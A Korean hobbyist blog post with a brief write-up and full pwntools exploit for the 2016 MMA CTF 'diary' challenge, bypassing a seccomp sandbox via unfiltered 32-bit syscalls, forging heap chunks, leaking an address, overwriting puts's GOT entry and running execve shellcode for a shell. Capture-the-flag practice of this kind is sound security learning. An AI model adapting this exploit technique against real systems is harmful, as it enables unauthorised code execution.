Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

2016 MMA CTF diary 본문

Security/Pwnable

2016 MMA CTF diary

Cdor1 2017. 1. 7. 02:17

후기: 두번째 일기장 문제다.

첫번째 일기장보단 바이너리가 작고 가벼웠지만 난이도는 훨씬 어려웠던것 같다.... seccomp 샌드박스 우회라니..

32비트 syscall을 필터링 하지 않아서 ./bash를 실행하는 쉘코드를 pwntools로 만들어 사용했다.



from pwn import *
s = remote('localhost', 4000)

def register(date, size, content):
	print s.recvuntil('>> ')
	s.sendline('1')
	print s.recvuntil('... ')
	s.sendline(date)
	print s.recvuntil('... ')
	s.sendline(str(size))
	print s.recvuntil('>> ')
	s.sendline(content)

def show(date):
	print s.recvuntil('>> ')
	s.sendline('2')
	print s.recvuntil('... ')
	s.sendline(date)

def delete(date):
	print s.recvuntil('>> ')
	s.sendline('3')
	print s.recvuntil('... ')
	s.sendline(date)

shellcode = asm(shellcraft.i386.linux.execve('./bash'), arch='x86')
puts_got = 0x602020

register('1970/01/01', 128, 'A'*4)
register('1970/01/02', 128, 'B'*64)
delete('1970/01/01')

fake = 'A'*80
fake += p64(0xd0)
fake += p64(0x602128)
fake += p64(0x602128)
fake += 'A'*16
fake += p64(0x30)
fake += p64(0x28)

register('1970/01/01', 128, fake)
delete('1970/01/02')
register('1970/01/03', 128, 'A'*16)
print s.recvuntil('A'*16)

mmap = u64(s.recvuntil('\n')[:-1] + '\x00\x00') - 0xe0
shellcode_addr = mmap + 0x170

fake2 = p64(shellcode_addr)
fake2 += p64(puts_got - 8)
fake2 += shellcode
fake2 += 'A'*(256-len(fake2))

register("2016/01/01", 256, "C"*256)
register("2016/01/01", 256, "D"*256)
delete('2016/01/01')
register('2016/01/01', 256, fake2)
delete('2016/01/01')

s.interactive()

'Security > Pwnable' 카테고리의 다른 글

Belluminar 2016 remuheap  (0) 2017.01.08
HITCON 2016 SleepyHolder  (0) 2017.01.08
HolyShield diary  (1) 2017.01.06
BoBCTF - megabox  (0) 2017.01.05
Christmasctf2016 - House of Daehee  (0) 2017.01.04
Comments